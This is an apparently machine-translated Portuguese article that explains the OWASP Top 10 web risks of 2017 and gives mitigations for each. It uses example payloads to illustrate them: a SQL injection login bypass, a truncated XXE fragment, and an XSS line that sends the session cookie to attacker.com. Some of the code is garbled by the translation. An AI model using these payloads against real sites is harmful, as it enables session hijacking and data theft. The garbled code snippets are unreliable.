Top 10 Ataques à Web Comuns: Os Primeiros Passos para Proteger o Seu Website

Uma estatística comum frequentemente compartilhada por profissionais da InfoSec é “78% dos ataques são contra o aplicativo”.

Não se passa uma semana sem ouvir falar de mais uma violação ou vulnerabilidade maciça, afetando milhões de usuários em todos os setores. Se esse número é exato ou se na verdade é apenas 74% (ou mais provavelmente mais próximo de 85%), uma coisa é clara: nossos sites estão em risco, e se o seu ainda não foi atacado é apenas uma questão de tempo e dinheiro (e motivação do atacante).

Um aspecto interessante que muitos desses ataques têm em comum é que eles não são altamente técnicos e realizáveis apenas pelas equipes avançadas de hackers sentados no porão da NSA. A fonte mais comum destes ataques é um grupo conhecido como “script kiddies”, jovens não treinados que simplesmente baixam toolkits automatizados da internet e tentam decifrar qualquer site aleatório que ofereça vulnerabilidades de baixa pendência facilmente exploráveis. Mesmo os cibercriminosos mais habilidosos começam suas primeiras tentativas usando os mesmos toolkits (ou versões um pouco mais avançadas deles).

Por que devemos nos importar? Porque isto significa que os ataques mais comuns, e as vulnerabilidades mais comumente exploradas, serão sempre a primeira e mais fraca cadeia em nossa defesa.

Consequentemente, este também deve ser o ponto em que concentramos nossos esforços iniciais em escorar essa defesa. Felizmente, este também é o ponto mais fácil de testar e garantir pelo menos um nível mínimo de segurança.

Estas vulnerabilidades comuns foram reunidas em uma lista dos “Dez Melhores” pelos voluntários amigáveis do OWASP – Open Web Application Security Project, uma organização mundial sem fins lucrativos focada em melhorar a segurança do software.

Embora esta lista dos Dez Melhores não seja realmente uma “lista de verificação de segurança”, muitas vezes é o primeiro conjunto de vulnerabilidades que os atacantes irão tentar. Da mesma forma, há uma infinidade de ferramentas automatizadas que farão o scan do seu website ao serviço dos atacantes, permitindo-lhes descobrir rapidamente as falhas críticas que lhes darão acesso aos seus valores.

Aqui estão os Top 10 Riscos de Segurança de Aplicações do OWASP, edição 2017:

1. Injection

Um atacante pode ser capaz de manipular a sua aplicação web para alterar os comandos submetidos aos seus subsistemas, simplesmente enviando pedidos malformados com cargas úteis contaminadas. O mais conhecido destes ataques é SQL Injection, onde um usuário do seu site pode fazer com que sua aplicação altere isto:

selecione * de usuários onde username=’AviD’ e senha=’1234′
introduzindo isto:
selecione * de usuários onde username=’Admin’

Permite que o atacante faça login na sua aplicação como administrador, sem mesmo saber a senha. Outros usos deste ataque seriam para roubar segredos (ou dinheiro), alterar dados, ou mesmo apagar todos os traços de atividade.

Outros formulários incluem LDAP Injection, XPath Injection, Command Injection, SMTP Injection – a qualquer momento a aplicação concatenar a entrada de usuário não confiável em um comando que é passado para um intérprete. Os dados anormais podem enganar o interpretador para executar comandos não intencionais ou acessar dados sem a devida autorização.

Estes ataques podem ser evitados com bastante facilidade, seguindo alguns princípios:

• Validar todas as entradas não confiáveis com uma abordagem de lista branca, independentemente da fonte.
• Acesso sempre ao banco de dados com consultas parametrizadas e procedimentos armazenados apenas, ao invés de concatenar uma consulta de string.
• Evenientemente melhor, use uma biblioteca ORM (Object Relational Mapping) adequada (como Hibernate, Entity Framework, ActiveRecord para citar alguns, dependendo da sua plataforma).
• Limite o dano potencial de um exploit bem sucedido reduzindo os privilégios do banco de dados da aplicação.

2. Autenticação Quebrada

A maioria das aplicações requer que seus usuários façam login antes de utilizá-la, muitas vezes com uma combinação de nome de usuário/senha. Existem muitos tipos de falhas comuns com este sistema de autenticação, que podem ser exploradas de várias maneiras: ataques de dicionário, força bruta automatizada, enchimento de credenciais, sequestro de sessão e mais.

Um atacante que consiga adivinhar uma senha válida seria capaz de imitar esse usuário e executar qualquer ação que sua vítima seria capaz de fazer – sem ser capaz de diferenciar entre o atacante e a vítima.

Prevenir isto requer uma abordagem em várias camadas:

• Alterar todas as senhas padrão.
• Forçar senhas fortes e aleatórias para todos os usuários: pelo menos 12 caracteres aleatórios, sem restrições, de preferência armazenados em um gerenciador de senhas; ou, alternativamente, uma senha com pelo menos 5 palavras aleatórias.
• Limitar tentativas de login, bloqueando a conta do usuário por um período de tempo após um certo número de senhas erradas.
• Utilizar um gerenciador de sessão de plataforma segura, que gera aleatoriamente identificadores de sessão longa e implementa um ciclo de vida de sessão segura.
• Proteja senhas com um algoritmo criptográfico de “hash de senha”, como Bcrypt, scrypt, ou Argon2.

Também, considere implementar autenticação multi-fator para mitigar ataques baseados em senha, e não permita que um atacante contorne sua senha sabendo o nome do seu gato na página “Esqueci a senha”. Há alguns detalhes adicionais que podem ser relevantes, dependendo de sua arquitetura e contexto específicos.

3. Exposição a dados sensíveis

Dados secretos geralmente precisam ser protegidos com criptografia e outros algoritmos criptográficos. Entretanto, isso é implementado com muita freqüência, se é que de forma incompleta, permitindo que os atacantes obtenham informações sensíveis que não devem ser capazes de obter, incluindo senhas, cartões de crédito, informações pessoais (PII) e outros dados críticos de negócios.

Algumas falhas comuns incluem não criptografar dados; criar um esquema de criptografia personalizado em vez de algoritmos e protocolos padrão; usar chaves fracas; expor chaves de criptografia; e não implementar protocolos corretamente, e.Por exemplo, não validar um certificado TLS.

Usar controles criptográficos apropriados (como criptografia AES para dados armazenados e TLS com HSTS habilitado para tráfego), com os parâmetros corretos, deve proteger amplamente seus dados sensíveis tanto em repouso quanto em trânsito.

4. Entidades Externas XML (XXE)

A maioria das vezes, as aplicações precisam receber e processar documentos XML dos usuários. Antigos ou mal configurados analisadores de XML podem habilitar uma funcionalidade XML conhecida como referências de entidades externas dentro de documentos XML, que quando avaliada irá incorporar o conteúdo de outro arquivo. Atacantes podem abusar disso para ler dados confidenciais, acessar sistemas internos e até mesmo fechar a aplicação em um ataque de Negação de Serviço (DoS).

Por exemplo, um documento XML contendo isto:

]>&xxe;

incluiria o conteúdo do arquivo de senhas dentro do documento XML.

Isso pode ser evitado simplesmente desativando a DTD e a avaliação de entidade externa no analisador, ou atualizando para uma biblioteca de analisadores moderna que não seja vulnerável.

5. Controle de Acesso Quebrado

A maioria das aplicações web limita o que os usuários podem ver ou fazer, seja acessando os dados pessoais de outro usuário ou uma área restrita.

No entanto, os mecanismos de controle de acesso que aplicam esses limites são geralmente implementações feitas sob medida e muitas vezes com falhas profundas. Atacantes podem ignorar esses controles ou abusar deles para acessar funcionalidades ou dados não autorizados, como acessar contas de outros usuários, visualizar arquivos sensíveis, modificar dados de outros usuários, executar ações administrativas e mais.

Fixar e evitar falhas no controle de acesso requer uma visão sistêmica. Uma revisão completa e profunda de todas as características da aplicação, requisitos do sistema, funções do usuário e outras restrições é necessária. Há vários modelos comuns que podem ser aplicados, dependendo dos requisitos. Os mais comuns incluem o Controlo de Acesso Baseado em Funções (RBAC), o Controlo de Acesso Discricionário (DAC) e o Controlo de Acesso Obrigatório (MAC) baseado na Integridade.

Outros modelos de mais nicho podem ser baseados em Atributos (ABAC), Política (PBAC), Contexto (CBAC) e Classificação (existem vários modelos, especialmente no DoD), bem como vários outros esquemas personalizados. É importante desenhar bem o modelo de controle de acesso, de modo que possa ser aplicado uniformemente e administrado eficientemente. Partir do princípio do Menos Privilégio, e autorizar apenas quando necessário.

Adicionalmente, muitos sistemas precisam considerar a aplicação de controles de acesso aos dados pessoais dos usuários, sob a perspectiva da privacidade. Está a tornar-se ainda mais importante preservar adequadamente a privacidade dos utilizadores e impedir o acesso sem consentimento, especialmente à luz da actualização do GDPR da UE.

6. Má configuração de segurança

Servidores e aplicações têm muitas partes móveis que todas precisam ser configuradas corretamente. Isto aplica-se em todos os níveis da pilha de aplicações, desde o sistema operacional e dispositivos de rede até o servidor web e a própria aplicação.

Configurações padrão, incompletas ou ad hoc podem deixar arquivos desprotegidos, senhas padrão habilitadas, serviços em nuvem abertos e informações sensíveis a vazamentos através de mensagens de erro ou cabeçalhos HTTP, bem como inúmeras outras configurações inseguras que poderiam permitir que um atacante tivesse acesso ao sistema ou aos dados.

Obviamente, não há uma única configuração que impediria esta vulnerabilidade. Todas as configurações potencialmente vulneráveis devem ser revistas. Note que isso também inclui atualizações do sistema e correções oportunas!

7. Cross-Site Scripting (XSS)

Usando XSS, um atacante pode modificar as páginas da web que outros usuários vêem em seu aplicativo, seja para roubar informações como senhas e cartões de crédito, espalhar dados falsos, seqüestrar sessões de usuários, redirecionar para outro site, ou executar scripts maliciosos no navegador da vítima.

Esta vulnerabilidade pode ocorrer sempre que dados não confiáveis são incluídos em uma página da Web ou resposta, sem a devida validação ou sanitização. O atacante pode enviar formulários com fragmentos HTML ou JavaScript, que serão embutidos diretamente na página e renderizados pelo navegador.

Por exemplo, este código do servidor:

response.write(“Good morning, ” + request.getParameter(“Name”));

embra o parâmetro do nome do usuário diretamente na saída. Isto destina-se a retornar a seguinte página, se o nome do usuário for “John”:

Good Morning, John

Em vez disso, um atacante pode injetar uma carga útil maliciosa:

Good Morning, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie

que será executado pelo navegador do usuário, enviando seu cookie de sessão para o atacante e permitindo que o atacante seqüestre a sessão.

A principal proteção contra ataques XSS é o uso de codificação apropriada. Por exemplo, a codificação HTML transformará todos os caracteres “especiais” em entidades HTML, de modo que eles sejam exibidos da mesma forma para o usuário, mas não sejam reconhecidos pelo analisador como tags HTML válidas. Entretanto, existem outras formas de codificação que devem ser usadas dependendo do contexto específico da saída de dados – por exemplo, codificação de atributos, codificação JavaScript, codificação CSS, e assim por diante. A maioria das plataformas web modernas fornecem essa funcionalidade automaticamente ou como uma chamada de função, e existem muitas bibliotecas de segurança para aqueles que não o fazem.

Adicionalmente, é uma boa idéia implementar a Política de Segurança de Conteúdo (CSP), para evitar que o navegador execute um ataque XSS que tenha passado. Além disso, configure seus cookies de sessão (seja no código de sua aplicação ou na configuração do servidor web) para incluir o atributo HttpOnly, para evitar que explorações XSS bem sucedidas sequestrem as sessões de seus usuários.

8. Insecure Deserialization

A mais nova adição a esta lista, Insecure Deserialization pode permitir ataques de injeção e escalonamento de privilégios, e até mesmo levar à execução de código remoto e tomada do servidor em certas situações.

Muitas aplicações precisam ser serializar objetos e dados em um formato que possa ser facilmente transmitido através do fio, ou mesmo persistir em um arquivo. Quando uma aplicação restaura esses objetos de volta à memória, deserializando os dados formatados recebidos de um usuário, pode ser possível adulterar a memória do objeto, e até mesmo fazê-lo executar funções arbitrárias.

A melhor maneira de evitar a deserialização insegura é nunca deserializar objetos a partir de dados não confiáveis! É muito melhor evitar formatos de desserialização nativos onde possível, preferindo um formato de dados como XML ou JSON.

Se for necessário desserializar a partir do formato nativo, ser capaz de o fazer com segurança requer compreender os internos da sua linguagem de programação. Existem vários passos necessários para fazê-lo com segurança, dependendo da linguagem que a sua aplicação foi desenvolvida. Por exemplo, em Java você pode subclassificar a classe java.io.ObjectInputStream. Além disso, é recomendado apenas deserializar a partir dos dados que sua aplicação assinou digitalmente.

9. Usando Componentes com Vulnerabilidades Conhecidas

Software Moderno não é mais construído como um monólito – ele sempre depende de um número cada vez maior de componentes de terceiros, frameworks, e bibliotecas de código aberto. Quaisquer vulnerabilidades conhecidas encontradas nestas dependências também podem afetar diretamente sua própria aplicação! Algumas vezes isso levará a outras vulnerabilidades nesta lista, tais como injeção, execução de código remoto, ou qualquer outra falha que possa permitir que atacantes acessem dados sensíveis ou actions.

Recentemente, apenas tal problema foi culpado pela quebra maciça do Equifax, onde eles não instalaram um patch para o Apache Struts2. Ao invés disso, eles permaneceram em uma versão que era conhecida por permitir que atacantes remotos executassem comandos arbitrários.

A melhor maneira de evitar cair nesta armadilha é rever todas as suas dependências (incluindo as dependências transitivas), e verificar se alguma delas está atualmente vulnerável. Implemente um processo para garantir que sua aplicação sempre puxa as últimas versões estáveis de todas as bibliotecas e componentes dependentes após testá-los. Na verdade, existem atualmente numerosas ferramentas comerciais que podem rastrear isso para sua equipe, assim como o OWASP’s Dependency-Check.

10. Registo Insuficiente & Monitorização

Embora tentemos tornar os nossos sistemas imunes a todos os ataques possíveis, realisticamente precisamos de aceitar que alguns ataques passarão pelas nossas defesas. Entretanto, uma defesa resiliente deve incluir várias camadas. Isto inclui a possibilidade de detectar aqueles ataques que foram bem sucedidos apesar de todos os nossos esforços, de preferência o mais rápido possível.

Isto ainda pode permitir que uma organização se recupere do ataque, ou mesmo minimizar os danos tanto quanto possível. Um mecanismo de registro e monitoramento, combinado com uma resposta eficaz a incidentes, pode impedir que os atacantes girem para recursos internos adicionais, incorporando-se permanentemente na organização, e inibi-los de roubar ou alterar ainda mais dados.

Implementar um mecanismo de registro comum para toda a aplicação. É melhor usar uma biblioteca existente, como o log4J, mas não é necessário. O mecanismo de log deve coletar todas as ações iniciadas pelo usuário, erros de tempo de execução e quaisquer outros eventos sensíveis. Certifique-se de que os dados de log estão bem protegidos, e não se esqueça de fornecer aos administradores uma interface de pesquisa e revisão!

A boa notícia é que a maioria destes são problemas relativamente simples, e fáceis de prevenir se você souber o que procurar. Portanto, embora esta não seja uma lista completa de todos os problemas de segurança que você deve prestar atenção, é definitivamente um dos melhores lugares para começar sua expedição a um site protegido!